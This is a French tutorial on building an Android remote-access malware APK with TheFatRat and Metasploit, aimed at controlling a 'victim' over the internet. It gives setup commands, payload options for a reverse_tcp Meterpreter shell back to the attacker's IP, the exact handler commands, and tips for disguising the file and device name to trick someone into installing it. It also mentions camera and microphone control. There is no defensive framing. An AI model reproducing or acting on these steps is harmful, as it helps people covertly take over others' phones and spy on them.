TheFatRat est un outil qui permet de générer des malwares exploitant des failles connues pour les plateformes Windows, Mac, Android et Linux. C’est merveilleux.

Nous allons voir ici comment générer un malware Android en utilisant l’outil TheFatRat.

Le malware doit ensuite être installé sur l’appareil et il faut lui accorder les autorisations nécessaires.

TheFatRat : Installation

TheFatRat utilise Metasploit et MSFvenom c’est pourquoi il est recommandé de l’installer sur Kali.

Si vous êtes connectés en ssh sur votre Kali, alors pour cette installation, il sera nécessaire de faire un

ssh -X user@Kali

La procédure est la même pour tout le monde :

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh

Ceux qui sont connecté en ssh devront faire un

sudo XAUTHORITY=/home/user/.Xauthority ./setup.sh

Génération du malware

Lorsque TFR est lancé, il nous faudra choisir l’option 1, puis l’option 3.

Il vous sera alors demandé votre IP.

Il est recommandé d’utiliser votre IP publique si vous voulez interagir avec la victime au travers d’internet (pensez également à rediriger les port sur votre modem). Si vous voulez tester sur votre LAN, alors utilisez votre IP locale.

Préciser aussi le port, j’ai choisi ici le port traditionnel du reverse_tcp de meterpreter

Enfin il faut préciser le nom du fichier à générer puis on sélectionne l’option 3.

Notre malware Android est prêt.

Préparation du serveur d’écoute

TDR nous propose de paramétrer automatiquement cette étape, après la génération du malware. Sinon vous pouvez procéder comme cela.

Démarrer la console metasploit

msfconsole

Sélectionner ensuite les options suivantes en pensant que même si vous passez par internet, il faut préciser ici l’adresse IP locale de la machine. :

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.2
exploit

Notre serveur d’écoute est prêt.

Installation du malware

Beaucoup ont l’imagination débordante pour parvenir à faire installer une application tierces sur un appareil Android. J’ai pour ma part choisi de transférer l’apk par bluetooth en prenant soin de renommer l’appareil émetteur, ainsi que le nom du fichier.

Une fois téléchargé, il faut alors l’installer et autoriser tous les accès à l’application.

J’ai dû ignorer les avertissements de sécurités…

Enfin il ne reste plus qu’à ouvrir l’application, et constater que le serveur d’écoute a abouti sur une console meterpreter.

Android et meterpreter

En plus des commandes « classiques » de meterpreter (un shell Unix basique, de quoi jouer avec les caméras et le micro…) voici les commandes spécifiques à Android :

Je n’ai pas réussi à faire fonctionner la géolocalisation et l’intéraction avec les caméras, mais le reste fonctionne à merveille.